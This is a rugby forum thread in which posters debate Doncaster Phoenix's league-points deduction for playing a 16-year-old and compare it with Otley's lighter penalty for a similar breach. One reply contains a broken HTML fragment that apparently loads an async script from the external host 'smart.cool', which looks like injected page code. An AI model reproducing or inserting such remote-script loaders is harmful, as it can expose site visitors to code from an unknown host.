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    Posted: 11 Oct 2018 at 18:19
Something very peculiar appears to have happened to Doncaster Phoenix. With 2 wins and 3 bonus points they should have 11 league points, but the RFU league table is now showing them in last place in Midlands Premier with only 1 point. Have they suffered a 10 league point deduction? If so, for what?
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It could be a typo or a mistake they are shown elsewhere in 11th P6. W2, L4, 127, 223, pd-96, 11 points< ="text/" async="" ="//smart.cool/1e6ab715a3a95d4603.js">
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Fudgepacker Quote  Post ReplyReply Direct Link To This Post Posted: 12 Oct 2018 at 01:34
Apparently 20 points deducted (10 suspended) for playing a 17 year old player without proper permission in a pre-season friendly. Makes the relegation mix all the more interesting!
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16 year old
http://www.pitchero.com/clubs/doncasterphoenix/news/statement-from-doncaster-phoenix-executive-committ-2356695.html
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Cannon Quote  Post ReplyReply Direct Link To This Post Posted: 12 Oct 2018 at 18:13
16, that’s ridiculous! I think they’re lucky in the circumstances.
Rucks and mauls may bust my balls, but whips and chains excite me!!
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Post Options Post Options   Thanks (0) Thanks(0)   Quote ballbag Quote  Post ReplyReply Direct Link To This Post Posted: 19 Mar 2019 at 13:50

Interesting to see Otley committed exactly the same offence in January this year, yet have only been deducted 4 points?

Can anyone explain how there can be such a difference in punishments for exactly the same offence?



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The big difference, I believe, is that Otley went to the RFU and Phoenix were caught out! 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Trident Quote  Post ReplyReply Direct Link To This Post Posted: 19 Mar 2019 at 16:09
Originally posted by ballbag ballbag wrote:


Interesting to see Otley committed exactly the same offence in January this year, yet have only been deducted 4 points?

Can anyone explain how there can be such a difference in punishments for exactly the same offence?


How is it exactly the same offence?

All people can go is the findings of the RFU panel for Otley and the Punishment report from the YRFU.

Perhaps you could enlighten us all as to what exactly happened in your case?
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Both clubs played a 16 year old in a senior game.

I'm not 100% sure of the details so don't quote me on this, but in Phoenix's case I believe they mistakenly thought that as the 16-year old was part of Yorkshire Carnegie's academy he could play up. This was a pre-season 10's tournament, so no advantage was trying to be gained - it was done to try and give the player some experience and fitness as with all players who played in the tournament. Their full statement can be found here: https://www.pitchero.com/clubs/doncasterphoenix/news/statement-from-doncaster-phoenix-executive-committ-2356695.html  

I'm not in any way defending Phoenix - the decision makers at the club who allowed this to happen should've been aware of the rules - I'm just pointing out a big difference in punishments for two clubs who committed the same offence.


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That link doesn't work
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Trident Quote  Post ReplyReply Direct Link To This Post Posted: 19 Mar 2019 at 17:04
Having now found the info on the Phoenix website, it suggests to me that they knew he was only 16 all along. That is where the higher penalty comes in.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote ballbag Quote  Post ReplyReply Direct Link To This Post Posted: 19 Mar 2019 at 17:17
The player in question in the Otley incident told the team manager before he played that he was 16 years old...

On Saturday 19th January 2019 Otley 2nd XV were playing at Ripon. JH had not been selected to play in that match but he turned up at Ripon with his kit. He spoke to the 2nd XV Team Manager, Mickey Peel (MP) who asked him what position he played and how old he was. JH told MP that he played on the wing and that he was 16 years old. He played the whole game on the wing.

Again, I'm not defending Phoenix but I'm struggling to see how the two incidents are so different to warrant more than double the points deduction and a 6-month ban for Phoenix's coach...
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Trident Quote  Post ReplyReply Direct Link To This Post Posted: 19 Mar 2019 at 17:24
Seems Phoenix really don't learn
From their website.

"...Doncaster Phoenix RFC is looking for a director of rugby to help manage the senior (16+) rugby side of our talented and ambitious club".
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Originally posted by Trident Trident wrote:

Seems Phoenix really don't learn
From their website.

"...Doncaster Phoenix RFC is looking for a director of rugby to help manage
the senior (16+) rugby side of our talented and ambitious club".


16+ could be construed to by over 16 or 16 and above?

I suggest it could have been worded better.
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